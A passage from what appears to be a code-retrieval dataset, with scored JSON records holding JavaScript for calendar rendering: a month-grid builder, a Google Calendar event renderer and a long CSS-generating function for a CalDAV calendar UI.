td = document.createElement('td');\r\n\t\t/*\r\n\t\t*putting '[i]' after a string returns the char from position i as an integer\r\n\t\t*/\r\n\t\ttd.innerHTML = \"SMTWTFS\"[i];\r\n\t\ttr.appendChild(td);\r\n\t}\r\n\ttable.appendChild(tr);\r\n\r\n\t/*\r\n\t*create first row of numbers \r\n\t*first for loop stops when the position in the table is equal to the dayStart\r\n\t*recall dayStart is the first day in the month(sun, mon, tuse, wed...) represented as an integer from 0 to 6\r\n\t*/\r\n\ttr = document.createElement('tr');\r\n\tvar c;\r\n\tfor (c=0;c<=6;c++){\r\n\t\tif(c == dayStart){\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tvar td = document.createElement('td');\r\n\t\ttd.innerHTML = \"\";\r\n\t\ttr.appendChild(td);\r\n\t}\r\n\t/*\r\n\t*keeps track of how may days are outputed\r\n\t*/\r\n\tvar count = 1;\r\n\t/*\r\n\t*this for loop continues from the exact location the previous for loop broke from and starts printing the days in the month starting at 1\r\n\t*\r\n\t*/\r\n\tfor(;c<=6;c++){\r\n\t\tvar td = document.createElement('td');\r\n\t\t/*\r\n\t\t*checks to see if the outputted day is the same as the current day\r\n\t\t*if so it sets the td elements ID to \"today\" for CSS styling\r\n\t\t*/\r\n\t\tif(day == count){\r\n\t\t\ttd.id = \"today\";\r\n\t\t}\r\n\t\ttd.innerHTML = count;\r\n\t\tcount++;\r\n\t\ttr.appendChild(td);\r\n\t}\r\n\ttable.appendChild(tr);\r\n\r\n\t/*\r\n\t*prints rows from whatever day it is on(controled by count) to the maximum number of days for that month\r\n\t*/\r\n\tfor(var r=3; r<=7; r++){\r\n\t\ttr = document.createElement('tr');\r\n\t\tfor (var c =0; c<=6; c++) {\r\n\t\t\tvar td = document.createElement('td');\r\n\t\t\t/*\r\n\t\t\t*checks to see if the outputted day is the same as the current day\r\n\t\t\t*if so it sets the td elements ID to \"today\" for CSS styling\r\n\t\t\t*/\r\n\t\t\tif(day == count){\r\n\t\t\ttd.id = \"today\";\r\n\t\t\t}\r\n\t\t\ttd.innerHTML = count;\r\n\t\t\tcount++;\r\n\t\t\ttr.appendChild(td);\r\n\r\n\t\t\t/*\r\n\t\t\t*cheks to see if count is at maximum days if so exit the loop\r\n\t\t\t*/\r\n\t\t\tif(count > days){\r\n\t\t\t\ttable.appendChild(tr);\r\n\t\t\t\t//console.log(\"returnbg object\");\r\n\t\t\t\treturn table;\r\n\t\t\t} else{\r\n\t\t\t\ttable.appendChild(tr);\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t}\r\n\r\n\r\n}", "title": "" }, { "docid": "a89f713ef82df8490a8fc5adf0ae8069", "score": "0.6043645", "text": "function renderDanceOfTheDay(data) {\n\tvar calendarData = $('#calendar-data');\n\t//\tconsole.log('data' + data.items[0].description);\n\tif(data.items.length == 0) { // check to make sure there are events today\n\t\tcalendarData.html('No events today');\n\t} else {\n\t\tvar numEvents = 0; // keep track of how many events were loaded\n\t\tvar eventItemTemplate = $('.event-item-template');\n\t\t$.each(data.items, function(){\n\t\t\tif(this.summary != undefined) { // no title\n\t\t\t\tnumEvents++;\n\t\t\t\tvar eventItem = eventItemTemplate.clone();\n\t\t\t\t// craft time stamp\n\t\t\t\tconsole.log(this.summary + \": \" + this.start.dateTime + \", \" + this.end.dateTime + \", url: \" + this.htmlLink);\n\t\t\t\tvar startHours = new Date(this.start.dateTime).getHours();\n\t\t\t\tvar startMinutes = new Date(this.start.dateTime).getMinutes();\n\t\t\t\tvar endHours = new Date(this.end.dateTime).getHours();\n\t\t\t\tvar endMinutes = new Date(this.end.dateTime).getMinutes();\n\t\t\t\t// display 7:00 instead of 7:0\n\t\t\t\tif(endMinutes < 10) {\n\t\t\t\t\tendMinutes = \"0\" + endMinutes;\n\t\t\t\t}\n\t\t\t\tif(startMinutes < 10) {\n\t\t\t\t\tstartMinutes = \"0\" + startMinutes;\n\t\t\t\t}\n\t\t\t\t// figure out am or pm and convert pm's down (Google uses 24 hour system instead of 12)\n\t\t\t\tvar start = (startHours % 12) + \":\" + startMinutes;\n\t\t\t\tvar end = (endHours % 12) + \":\" + endMinutes;\n\t\t\t\tif(startHours / 12 < 1) {\n\t\t\t\t\tstart += \" am\";\n\t\t\t\t} else {\n\t\t\t\t\tstart += \" pm\";\n\t\t\t\t}\n\t\t\t\tif(endHours / 12 < 1) {\n\t\t\t\t\tend += \" am\";\n\t\t\t\t} else {\n\t\t\t\t\tend += \" pm\"; \n\t\t\t\t}\n\n\t\t\t\t// console.log(\"Event #\" + numEvents + \" - start time: \" + start + \", end time: \" + end + \", title: \" + this.summary + \", location: \" + this.location + \", description: \" + this.description);\n\n\t\t\t\teventItem.find('.event-summary').html(this.summary); // summary = title of event in google speak\n\t\t\t\teventItem.find('.event-time').append(\"When: \" + start + \"-\" + end);\n\t\t\t\t// location and description optional\n\t\t\t\tif(this.location != undefined) {\n\t\t\t\t\teventItem.find('.event-location').append(\"Where: \" + this.location)\n\t\t\t\t}\n\t\t\t\tif(this.description != undefined) {\n\t\t\t\t\teventItem.find('.event-description').append(\"Description: \" + this.description);\n\t\t\t\t}\n\t\t\t\tcalendarData.append(eventItem);\n\t\t\t}\n\t\t}); // .each\n\t}\n}", "title": "" }, { "docid": "fcf844618ea9120ed77bf39d22e00f2c", "score": "0.60433537", "text": "function calstyle ()\n{\n\tvar calcolors = '';\n\tvar cals = $(document).caldav('calendars');\n\tfor ( var i=0;i<cals.length;i++)\n\t{\n\t\tif ( ! String(cals[i].color).match ( /^#[0-9a-fA-F]+/ ) )\n\t\t\tcals[i].color = defaultColors[(i%6)] ;\n\t\tcalcolors = calcolors + ' .calendar' + i + ' { color: ' + cals[i].color + '; border-right-color: ' + cals[i].color + '; }' ;\n\t\tcalcolors += '.calendar' + i + ':hover { background-color: ' + cals[i].color + '; }' ;\n\t\tcalcolors += '.calendar' + i + 'bg { color: white; background-color: ' + cals[i].color + '; border-right-color: ' + cals[i].color + '; }' ;\n\t}\n\t\n\t//$('.caldialog .databool').live('click',function(e){$(this).toggleClass('boolselected');});\n\n\tvar startt = settings.start.getLongMinutes();\n\tvar endt = settings.end.getLongMinutes();\n\tvar wvs = '';\n\tfor ( var i=startt;i<=endt;i+=100)\n\t{\n\t\tvar z = 100*((i-startt)/(endt-startt)); \n\t\twvs = wvs + '.weekview .time'+i + ' { position: absolute; top:' + z + '% }' + \"\\n\";\n\t\tz = 100*((i-startt+25)/(endt-startt+100)); \n\t\twvs = wvs + '.weekview .time'+(i+15) + ' { position: absolute; top:' + z + '% }' + \"\\n\";\n\t\tz = 100*((i-startt+50)/(endt-startt+100)); \n\t\twvs = wvs + '.weekview .time'+(i+30) + ' { position: absolute; top:' + z + '% }' + \"\\n\";\n\t\tz = 100*((i-startt+75)/(endt-startt+100)); \n\t\twvs = wvs + '.weekview .time'+(i+45) + ' { position: absolute; top:' + z + '% }' + \"\\n\";\n\t}\n\tfor ( var i=endt;i<=2400;i+=100)\n\t{\n\t\tif ( i > endt )\n\t\t\twvs = wvs + '.weekview .time'+i + ' { position: absolute; bottom: 0 }' + \"\\n\";\n\t\twvs = wvs + '.weekview .time'+(i+15) + ' { position: absolute; bottom: 0 }' + \"\\n\";\n\t\twvs = wvs + '.weekview .time'+(i+30) + ' { position: absolute; bottom: 0 }' + \"\\n\";\n\t\twvs = wvs + '.weekview .time'+(i+45) + ' { position: absolute; bottom: 0 }' + \"\\n\";\n\t}\n\tvar pct = 100/( ( ( (endt)-startt ) / 100 ) * 4 ) ;\n\tvar c = 0;\n\tfor ( var i=15;i<=(endt-startt);i+=15)\n\t{\n\t\tc+=pct;\n\t\twvs = wvs + '.weekview .week .day .eventlist li.event[data-duration=\"'+i+'\"] {height:'+ c + '%; max-height:100% }' + \"\\n\";\n\t}\n\n\tvar cs = '<style title=\"calstyle\">' + \"\\n\" +\n\t\"body > .hourswrapper { display: none; } \\n\" +\n\t'#calwrap { font-family: Helvetica, sans-serif; clear: both; clear-after:bottom; position: absolute; top:0; left: 0; width: 100%; height: 100%; overflow: hidden; background-color: #FFF; '+\n\t\t'/* display: -webkit-box;display: -moz-box;display: box; -webkit-box-orient: horizontal; -webkit-box-pack: justify; -moz-box-orient: horizontal; -moz-box-pack: justify; box-orient: horizontal; box-pack: justify; */ }' + \"\\n\" + \n\tcalcolors +\n\t\n\t'#caldialog {position:absolute; z-index: 100; top: 10em; left: 5em; width: 350px; height: 300px; border:1px solid #AAA; background:#FFF; overflow: visible; font-size: 11pt; '+\n\t\t'-moz-border-radius:5px; -webkit-border-radius:5px; border-radius:5px; -moz-box-shadow: 3px 3px 10px #888; -webkit-box-shadow: 3px 3px 10px #888; box-shadow: 3px 3px 10px #888; '+\n\t\t'-webkit-transform: translate(13px,-20px); -moz-transform: translate(13px,-20px); transform: translate(13px,-20px);} ' + \"\\n\" +\t\n\n\t'#calcenter { float: left; /*-moz-box-flex: 3; -webkit-box-flex: 3; box-flex: 3;*/ height: 100%; width: 70%; overflow: hidden; }' + \"\\n\" +\n\t'#calh { width: 100%; table-layout: fixed; overflow-x: hidden; border-spacing:0; padding:0; margin:0; border:0; color: #666; padding-right:1px; font-size: 80%; }' + \"\\n\" + \n\t\"#calh .days td { display: table-cell; float: none; }\\n\" + \n\t'#gototoday { position: absolute; left: 0em; font-size: 12pt; width: 4em;}' + \"\\n\" +\n\t'#weekview { position: absolute; left: 7em; font-size: 12pt; width: 4em;}' + \"\\n\" +\n\t'#refresh { position: absolute; left: 14em; font-size: 12pt; font-face: Helvetica; font-weight: bold; width: 1em; padding: 0.1em .25em 0.1em .25em; height: 1.19em; }' + \"\\n\" +\n\t'#logout { position: absolute; right: 4em; font-size: 12pt; width: 4em;}' + \"\\n\" +\n\t'#calt { width:100%; border-spacing:0; padding:0; margin:0; border:0; table-layout: fixed; }' + \"\\n\" + \n\t'#calsidebar { float: left; /* -moz-box-flex: 1; -webkit-box-flex: 1; box-flex: 1; */ position: relative; width: 15%; min-height: 6em; height: 100%; background-color: #EFEFFF; '+\n\t\t'background-image: url(\\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAABCAYAAAAW/mTzAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAAUSURBVAiZY/z06dN/BiTAy8vLCABHcQP/jGwD2gAAAABJRU5ErkJggg==\\'); '+\n\t\t'border-right: 1px solid #AAA; overflow: hidden; margin-right: -1px; }' + \"\\n\" +\n\t'#calsidebar * { resize: none; } ' + \"\\n\" +\n\t'#calsidebar > .sidetitle { font-size: 200%; font-weight: lighter; border: none !important; border-bottom:1px solid #AAA !important; text-align: center; padding: .15em 0 .6em; margin:0;}' + \"\\n\" +\n\t'#callist { position: relative; display: block; margin: 0; padding: 0px; list-style-type: none; overflow-x: hidden; overflow-y: scroll; padding-top: 1em; margin-right: -1.2em; max-height: 100%; } ' + \"\\n\" +\n\t'#callist > li { margin-left: 0; padding: 0; padding-bottom: .5em; -webkit-transition-property: all; -webkit-transition-duration: 1.4s; -moz-transition-property: all; -moz-transition-duration: 1.4s; transition-property: all; transition-duration: 1.4s; } ' + \"\\n\" +\n\t'#callist > li:last-child { margin-bottom: 2em; } ' + \"\\n\" +\n\t'#callist > li > span:hover:after { content: \"edit\"; position: absolute: right: 0; float: right; display: block; width: 3.5em; } ' + \"\\n\" +\n\t'#callist > li > span { color: #666; margin:0;padding:0;padding-left: 12px; display: block; width: 100%; position: relative; font-size: 9pt; letter-spacing: -0.01em; text-transform: uppercase; '+\n\t\t'-webkit-transition-property: all; -webkit-transition-duration: .4s; -moz-transition-property: all; -moz-transition-duration: .4s; transition-property: all; transition-duration: .4s; } ' + \"\\n\" +\n\t//'#calsidebar > ul > li.closed > span { color: #888; } ' + \"\\n\" +\n\t'#callist > li.closed > ul { height: 0px; } ' + \"\\n\" +\n\t'#callist > li > span:before { content: \"\"; display: block; position: absolute; left: 1px; width:0; height:0; border-color: #666 transparent transparent transparent; border-style: solid; border-width: 7px 4px 4px 4px; '+\n\t\t'-webkit-transition-property: all; -webkit-transition-duration: .4s; -moz-transition-property: all; -moz-transition-duration: .4s; -o-transition-property: all; -o-transition-duration: .4s; transition-property: all; transition-duration: .4s; '+\n\t\t'-webkit-transform: translate(0px, 3px) rotate(0deg) ; -moz-transform: translate(0px,3px) rotate(0deg) ; transform: rotate(0deg) ; } ' + \"\\n\" +\n\t'#callist > li.closed > span:before { border-color: #666 transparent transparent transparent; -webkit-transform: translate(3px, 1px) rotate(-90deg) ; -moz-transform: translate(3px, 1px) rotate(-90deg) ; -o-transform: translate(3px, -1px) rotate(-90deg) ; -ms-transform: translate(3px, 1px) rotate(-90deg); transform: translate(3px, 1px) rotate(-90deg) ; } ' + \"\\n\" +\n\t'#callist li:hover { background: none; } ' + \"\\n\" +\n\t'#callist > li > ul { margin-left: 0em; padding-left: 0; overflow-y: hidden; resize: none; -webkit-transition-property: height; -webkit-transition-duration: .4s; '+\n\t\t'-moz-transition-property: all; -moz-transition-duration: .4s; transition-property: all; transition-duration: .4s; } ' + \"\\n\" +\n\t'#callist > li > ul > li { margin-left: 0; padding-left: 1.5em; list-style-type: none; padding-top: .12em; padding-bottom: .12em; text-overflow: ellipsis; white-space: nowrap; overflow: hidden; } ' + \"\\n\" +\n\t'#callist > li > ul > li.selected { background: #CCD; background: -moz-linear-gradient(top, #CCD 0%, #AAA 100%); background: -webkit-gradient(linear, left top, left bottom, from(#CCD), to(#AAA)); background: -webkit-linear-gradient(top, #CCD 0%, #AAA 100%); background: linear-gradient(top, #CCD 0%, #AAA 100%); text-shadow: 0 1px 1px rgba(255,255,255,0.75), 0 -1px 1px rgba(0,0,0,0.1); } ' + \"\\n\" +\n\t'#invitewrap { margin: 0; padding: 0px; overflow: hidden; position: relative; width: 100%; max-height: 14em; position: absolute; bottom: 1em; padding-top: 1.25em; padding-bottom: 1.2em; } ' + \"\\n\" +\t\n\t'#calinvites { margin: 0; padding: 0px; list-style-type: none; overflow-x: hidden; overflow-y: scroll; width: 100%; bottom: .1em; padding-bottom: 1em; padding-right: 16px; max-height: 100%; min-height: 5em; } ' + \"\\n\" +\t\n\t'#calinvites li { margin-right: -16px; padding: 4px; } ' + \"\\n\" +\n\t'#calinvites li:nth-child(1) { padding: 1px; } ' + \"\\n\" +\n\t'#calinvites li:nth-child(2) { margin-top: 4px; } ' + \"\\n\" +\n\t'#calinvites li.event::after { content: \"'+ui.inviteFrom+' \" attr(data-from); display: block; position: relative; font-size: 90%; color: #444; } ' + \"\\n\" +\n\t'#calinvites li.event:hover { color: black; background: #DDD; } ' + \"\\n\" +\n\t'#calinvites li.header { display: block; font-size: 120%; border-bottom: 1px solid #AAA; background: #DDD; position: absolute; z-index: 100; width: 100%; top: 0; } ' + \"\\n\" +\n\t'#calinvites li.header:hover { background: #DDD; } ' + \"\\n\" +\n\t'#calinvites li.header:nth-last-child(1) { display: none; } ' + \"\\n\" +\n//\t'#calinvites li:first-child::before { content: \"'+ui.invitations+' \"; display: block; position: relative; height: 1px; overflow: visible; baseline-shift: -1em; font-size: 120%; margin-top: -1em; border-bottom: 1px solid #AAA; } ' + \"\\n\" +\n//\t'#calinvites li:first-child:hover { background: none; } ' + \"\\n\" +\n\t'#calsidebar > .calfooter { position: absolute; bottom:0; padding: 0; margin: 0; width: 100%; /* display: -webkit-box;display: -moz-box;display: box; -webkit-box-orient: horizontal; -webkit-box-pack: justify; -moz-box-orient: horizontal; -moz-box-pack: justify; box-orient: horizontal; box-pack: justify; */ max-height: 1.25em; overflow: hidden; }' + \"\\n\" +\n\t'.calfooter > DIV { overflow: hidden; -webkit-transition-property: all; -webkit-transition-duration: .2s; -moz-transition-property: all; -moz-transition-duration: .2s; transition-property: all; transition-duration: .2s; }' + \"\\n\" +\n\t'.calfooter > DIV:hover { -moz-box-shadow: inset 0px 0px 3px 0px #aaa; -webkit-box-shadow: inset 0px 0px 3px 0px #aaa; box-shadow: inset 0px 0px 3px 0px #aaa;} ' + \"\\n\" +\n\t\n\t'#caltodo { position: relative; float: right; width: 15%; overflow-x: hidden; min-height: 6em; height: 100%; background-color: #EFEFFF; border-left: 1px solid #AAA; margin-left: -1px; margin-right: 0; '+\n\t\t'background-image: url(\\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAABCAYAAAAW/mTzAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAAUSURBVAiZY/z06dN/BiTAy8vLCABHcQP/jGwD2gAAAABJRU5ErkJggg==\\'); }' + \"\\n\" +\n\t'#caltodo > .sidetitle { font-size: 200%; font-weight: lighter; border-bottom:1px solid #AAA; text-align: center; padding: .15em 0 .6em; margin:0;}' + \"\\n\" +\n\t'#caltodo > .sidetitle div.button { display: block; font-size: 50%; font-weight: lighter; border: none !important; text-align: center; width: 100%; margin:0;}' + \"\\n\" +\n\t'#caltodo > .sidetitle span { display: block; float: left; width: 50%; margin:-1px; padding:0; position: relative; bottom: -0.43em;}' + \"\\n\" +\n\t'#caltodo ul { position: absolute; top: 3.6em; bottom: 0; overflow-x: hidden; overflow-y: auto; margin: 0; padding: 0px; list-style: none; width: 100%; } ' + \"\\n\" +\n\t'#caltodo ul li { overflow: hidden; display: block; margin: 0; padding: 0; padding-left: 0; margin-bottom: .75em; line-height: 1.2em; list-style-type: none; -webkit-transition-property: all; -webkit-transition-duration: .2s; -moz-transition-property: all; -moz-transition-duration: .2s; transition-property: all; transition-duration: .2s; } ' + \"\\n\" +\n\t'#caltodo ul li.hidden { margin-bottom: 0px; padding-top: 0px; padding-bottom: 0px; height: 0px; opacity: 1.0; } ' + \"\\n\" +\n\t\n\t'li[priority=\"1\"]::after { display: block; position: relative; left: 100%; width: .7em; margin-left: -0.7em; top: -0.85em; height: 0em; border-top: .4em solid #444; border-bottom: .4em solid #444; content: \" \" } ' +\n\t'li[priority=\"1\"]::before { display: block; position: absolute; left: 100%; width: .7em; margin-left: -0.7em; margin-top: -0.05em; height: .2em; border-top: .4em solid #444; content: \" \" } ' +\n\n\t'li[priority=\"2\"]::after { display: block; position: relative; left: 100%; width: .7em; margin-left: -0.7em; top: -0.85em; height: 0em; border-top: .4em solid #444; border-bottom: .4em solid #444; content: \" \" } ' +\n\t'li[priority=\"2\"]::before { display: block; position: absolute; left: 100%; width: .7em; margin-left: -0.7em; margin-top: -0.05em; height: .2em; border-top: .4em solid #444; content: \" \" } ' +\n\n\t'li[priority=\"3\"]::after { display: block; position: relative; left: 100%; width: .7em; margin-left: -0.7em; top: -0.85em; height: 0em; border-top: .4em solid #444; border-bottom: .4em solid #444; content: \" \" } ' +\n\t'li[priority=\"3\"]::before { display: block; position: absolute; left: 100%; width: .7em; margin-left: -0.7em; margin-top: -0.05em; height: .2em; border-top: .4em solid #444; content: \" \" } ' +\n\n\t'li[priority=\"4\"]::after { display: block; position: relative; left: 100%; width: .7em; margin-left: -0.7em; top: -0.85em; height: 0em; border-top: .4em solid #444; border-bottom: .4em solid #444; content: \" \" } ' +\n\t'li[priority=\"4\"]::before { display: block; position: absolute; left: 100%; width: .7em; margin-left: -0.7em; margin-top: -0.05em; height: .2em; border-top: .4em solid #444; content: \" \" } ' +\n\n\t'li[priority=\"5\"]::after { display: block; position: relative; left: 100%; width: .7em; margin-left: -0.7em; top: -0.85em; height: 0em; border-top: .4em solid #444; border-bottom: .4em solid #444; content: \" \" } ' +\n\t'li[priority=\"5\"]::before { display: block; position: absolute; left: 100%; width: .7em; margin-left: -0.7em; margin-top: -0.05em; height: .2em; border-top: .4em solid #AAA; content: \" \" } ' +\n\n\t'li[priority=\"6\"]::after { display: block; position: relative; left: 100%; width: .7em; margin-left: -0.7em; top: -0.85em; height: 0em; border-top: .4em solid #AAA; border-bottom: .4em solid #444; content: \" \" } ' +\n\t'li[priority=\"6\"]::before { display: block; position: absolute; left: 100%; width: .7em; margin-left: -0.7em; margin-top: -0.05em; height: .2em; border-top: .4em solid #AAA; content: \" \" } ' +\n\n\t'li[priority=\"7\"]::after { display: block; position: relative; left: 100%; width: .7em; margin-left: -0.7em; top: -0.85em; height: 0em; border-top: .4em solid #AAA; border-bottom: .4em solid #444; content: \" \" } ' +\n\t'li[priority=\"7\"]::before { display: block; position: absolute; left: 100%; width: .7em; margin-left: -0.7em; margin-top: -0.05em; height: .2em; border-top: .4em solid #AAA; content: \" \" } ' +\n\n\t'li[priority=\"8\"]::after { display: block; position: relative; left: 100%; width: .7em; margin-left: -0.7em; top: -0.85em; height: 0em; border-top: .4em solid #AAA; border-bottom: .4em solid #444; content: \" \" } ' +\n\t'li[priority=\"8\"]::before { display: block; position: absolute; left: 100%; width: .7em; margin-left: -0.7em; margin-top: -0.05em; height: .2em; border-top: .4em solid #AAA; content: \" \" } ' +\n\n\t'li[priority=\"9\"]::after { display: block; position: relative; left: 100%; width: .7em; margin-left: -0.7em; top: -0.85em; height: 0em; border-top: .4em solid #AAA; border-bottom: .4em solid #444; content: \" \" } ' +\n\t'li[priority=\"9\"]::before { display: block; position: absolute; left: 100%; width: .7em; margin-left: -0.7em; margin-top: -0.05em; height: .2em; border-top: .4em solid #AAA; content: \" \" } ' +\n\n\t'#wcal { width: 100%; overflow: scroll; float: left; overflow-x: hidden; height:24em; border-spacing:0; padding:0; margin:0; margin-left: 0.95em; margin-right: -9px; border:0; border-top: 1px solid #AAA; border-left: 1px solid #AAA; }' + \"\\n\" + \n\n\n\t'.highlighted { outline: 1px dotted #888 ; -moz-box-shadow: 2px 2px 4px #888; -webkit-box-shadow: 2px 2px 4px #888; box-shadow: 2px 2px 4px #888; }' + \"\\n\" +\n\n\t'.calpopup { overflow: auto; } ' + \"\\n\" +\n\t'.calpopup * { overflow: hidden; } ' + \"\\n\" +\n\t'.calpopup ul { margin:0; padding:1em; max-width: 100%; overflow: hidden; }' + \"\\n\" +\n\t'.calpopup li { margin:0; padding:0; list-style: none; list-style-type: none; font-size:9pt; }' + \"\\n\" +\n\t'.calpopup > ul > li { clear: both; min-height: 1.8em; }' + \"\\n\" +\n\t'.calpopup > ul > li:first-child span:first-child { display: none; }' + \"\\n\" +\n\t'.calpopup > ul > li:first-child span { font-size: 14pt; color: #004; padding-bottom: .75em; margin-left: 0; }' + \"\\n\" +\n\t'.calpopup .label { margin:0; padding:0; display: block; float: left; width: 5.5em; text-align: right; color: #777; font-weight: bold; padding-right: 3px; margin-top: 6px;clear: left; position: absolute; }' + \"\\n\" +\n\t'.calpopup .value { resize: none; outline: none; margin:0; padding:0; padding-right: 2px; padding-left: 4px; min-width: 3em; min-height: 1em; display: block; float: left; padding-top: 6px; padding-bottom: 2px; margin-left: 5.5em; }' + \"\\n\" +\n '.calpopup .value .value { margin-left: 0; } ' + \"\\n\" + \n '.calpopup .value p:first-child { display: inline; }' + \"\\n\" +\n '.calpopup .value p { padding: 0; margin: 0; }' + \"\\n\" +\n\t'.calpopup .value.text:hover { outline: 1px solid #AAA; resize: both;}' + \"\\n\" +\n\t'.calpopup .value:focus { outline: none; -moz-box-shadow: 1px 1px 3px #888; -webkit-box-shadow: 1px 1px 3px #888; box-shadow: 1px 1px 3px #888; resize: none; width: auto;}' + \"\\n\" +\n\t'.calpopup .value.text:focus:hover { resize:both; }' + \"\\n\" +\n\t'.calpopup .attendee.accepted:before { content: \"\\\\2713\"; color: white; background-color: green; -moz-border-radius:.55em; -webkit-border-radius:.5em; border-radius:.5em; display: inline-block; width: 1em; height: 1em; margin:.2em; text-align: center; padding: .05em ; font-weight: bold; } \\n' + \n\t'.calpopup .attendee.tentative:before { content: \"?\"; color: white; background-color: gold; -moz-border-radius:.55em; -webkit-border-radius:.5em; border-radius:.5em; display: inline-block; width: 1em; height: 1em; margin:.2em; text-align: center; padding: .05em ; font-weight: bold; } \\n' + \n\t'.calpopup .attendee.needs-action:before { content: \"!\"; color: white; background-color: grey; -moz-border-radius:.55em; -webkit-border-radius:.5em; border-radius:.5em; display: inline-block; width: 1em; height: 1em; margin:.2em; text-align: center; padding: .05em ; font-weight: bold; } \\n' + \n\t'.calpopup .attendee.declined:before { content: \"\\\\2717\"; color: white; background-color: red; -moz-border-radius:.55em; -webkit-border-radius:.5em; border-radius:.5em; display: inline-block; width: 1em; height: 1em; margin:.2em; text-align: center; padding: .05em ; font-weight: bold; } \\n' + \n\t'.calpopup .recurrence { resize: none; outline: none; margin:0; padding:0; padding-right: 2px; padding-left: 4px; min-width: 3em; min-height: 1em; display: block; float: left; margin-top: 6px; margin-bottom: 2px; max-height: 1em; position: absolute; left: 7.5em; overflow: hidden; }' + \"\\n\" +\n\t'.calpopup .recurrence:hover,.calpopup .recurrence.focus { max-height: none; background: #E3E3E3; -moz-box-shadow: 1px 1px 3px #888; -webkit-box-shadow: 1px 1px 3px #888; box-shadow: 1px 1px 3px #888; overflow: visible; z-index: 120; } \\n' +\n\t'.calpopup .recurrence .repeat:before { content: attr(text); } \\n' + \n\t'.calpopup .recurrence > span { float: none; display: inline; }' + \"\\n\" +\n\t'.calpopup .recurrence span { resize: none; outline: none; margin:0; padding:0; padding-right: .3em; min-height: 1em; display: inline; } ' + \"\\n\" +\n\t'.calpopup .recurrence .byrule { clear: left; } \\n' + \n\t'.calpopup .alarm { resize: none; outline: none; margin:0; padding:0; padding-right: 2px; padding-left: 4px; min-width: 3em; min-height: 1em; display: block; float: left; margin-top: 6px; margin-bottom: 2px; }' + \"\\n\" +\n\t'.calpopup .alarm .value { resize: none; outline: none; margin:0; padding:0; padding-right: .1em; padding-left: .1em; display: inline; float: none; }' + \"\\n\" +\n\t'.calpopup .plus { display: block; float: left; padding-right: 2px; padding-left: 4px; margin-top: 6px; margin-bottom: 2px; text-decoration: underline; color: #00A; } ' + \"\\n\" +\n\t'.alarm span { resize: none; outline: none; margin:0; padding:0; padding-right: .1em; padding-left: .1em; }' + \"\\n\" +\n\n\t'#scheduling { position: absolute; display: -webkit-box; display: -moz-box; display: box; background: white; width: 42em; padding: .5em; -moz-box-shadow: 1px 1px 3px #888; -webkit-box-shadow: 1px 1px 3px #888; box-shadow: 1px 1px 3px #888; padding-top: .25em; line-height: 160%; padding-bottom: 2em; } ' +\n\t'#scheduling .button { position: absolute; padding: .2em; line-height: 100%; }' +\n\t'#scheduling .close { bottom: .25em; } '+\n\t'#schedusers { margin: 0; margin-top: 1em; padding:0; padding-right: 1em; padding-top: 2em; -moz-box-shadow-right: 1px 1px 3px white; -webkit-box-shadow-right: 1px 1px 3px white; box-shadow-right: 1px 1px 3px white; min-width: 9em; } ' +\n\t'#schedtime { -webkit-box-flex: 3; display: -webkit-box; display: -moz-box; display: box; margin: 0; margin-top: 1em; padding:0; padding-top: 2em; margin-bottom: -16px; position: relative; overflow-x: scroll; } ' +\n\t\n\t\n\t'#scheduling .suser0 { color: blue; } ' +\n\t'#scheduling .suser1 { color: green; } ' +\n\t'#scheduling .suser2 { color: magenta; } ' +\n\t'#scheduling .suser3 { color: purple; } ' +\n\t'#scheduling .suser4 { color: cyan; } ' +\n\t'#scheduling .suser5 { color: orange; } ' +\n\t'#scheduling .suser6 { color: amber; } ' +\n\t'#scheduling .suser7 { color: rose; } ' +\n\t'#scheduling .suser8 { color: teal; } ' +\n\t'#scheduling .suser9 { color: pink; } ' +\n\t\n\t'#schedtime li { margin: 0; padding:0; width: 1.5em; overflow: visible; padding-bottom: 16px; } ' +\n\t'#schedtime li:nth-child(2n) { background: #DDD; } ' +\n\t'#schedtime li:nth-child(1)::after { content: attr(data-month) \",\" attr(data-date); display: inline-block; position: relative; top: -2.4em; } ' +\n\t'#schedtime li[data-hour=\"0\"]::after { content: attr(data-month) \",\" attr(data-date); display: inline-block; position: absolute; top: 0; } ' +\n\t'#schedtime li::before { content: attr(data-hour); display: inline-block; position: absolute; top: .9em; width: 1.5em; text-align: center; font-size: 90%; } ' +\n\t'#schedtime li span { min-width:0.375em; height: 1.6em; position: absolute; } ' +\n\t'#schedtime li span.sched { min-width:0.375em; outline: 1px solid #444; position: absolute; height: auto; top: 2em; bottom: 1.4em; background: none;} ' +\n\t'#schedtime li span.sched.conflict { outline-color: red; } ' +\n '#schedtime li span.start1 { margin-left: 0.375em; } '+\n '#schedtime li span.start2 { margin-left: 0.75em; } '+\n '#schedtime li span.start3 { margin-left: 1.275em; } '+\n '#schedtime li span[data-hours*=\".25\"] { padding-right: 0; } '+\n '#schedtime li span[data-hours*=\".5\"] { padding-right: .375em; } '+\n '#schedtime li span[data-hours*=\".75\"] { padding-right: .75em; } '+\n '#schedtime li span[data-hours^=\"0\"] { width: 0.375em; padding-right: 0; } '+\n '#schedtime li span[data-hours^=\"1\"] { width: 1.5em; } '+\n '#schedtime li span[data-hours^=\"2\"] { width: 3em; } '+\n '#schedtime li span[data-hours^=\"3\"] { width: 4.5em; } '+\n '#schedtime li span[data-hours^=\"4\"] { width: 6em; } '+\n '#schedtime li span[data-hours^=\"5\"] { width: 7.5em; } '+\n '#schedtime li span[data-hours^=\"6\"] { width: 9em; } '+\n '#schedtime li span[data-hours^=\"7\"] { width: 10.5em; } '+\n '#schedtime li span[data-hours^=\"8\"] { width: 12em; } '+\n '#schedtime li span[data-hours^=\"9\"] { width: 13.5em; } '+\n '#schedtime li span[data-hours^=\"10\"] { width: 15em; } '+\n '#schedtime li span[data-hours^=\"11\"] { width: 16.5em; } '+\n '#schedtime li span[data-hours^=\"12\"] { width: 18em; } '+\n '#schedtime .hfraction3 { width: 1.5em; } '+\n\t'#schedtime .suser0 { top: 2em; background: blue; } ' +\n\t'#schedtime .suser1 { top: 3.6em; background: green; } ' 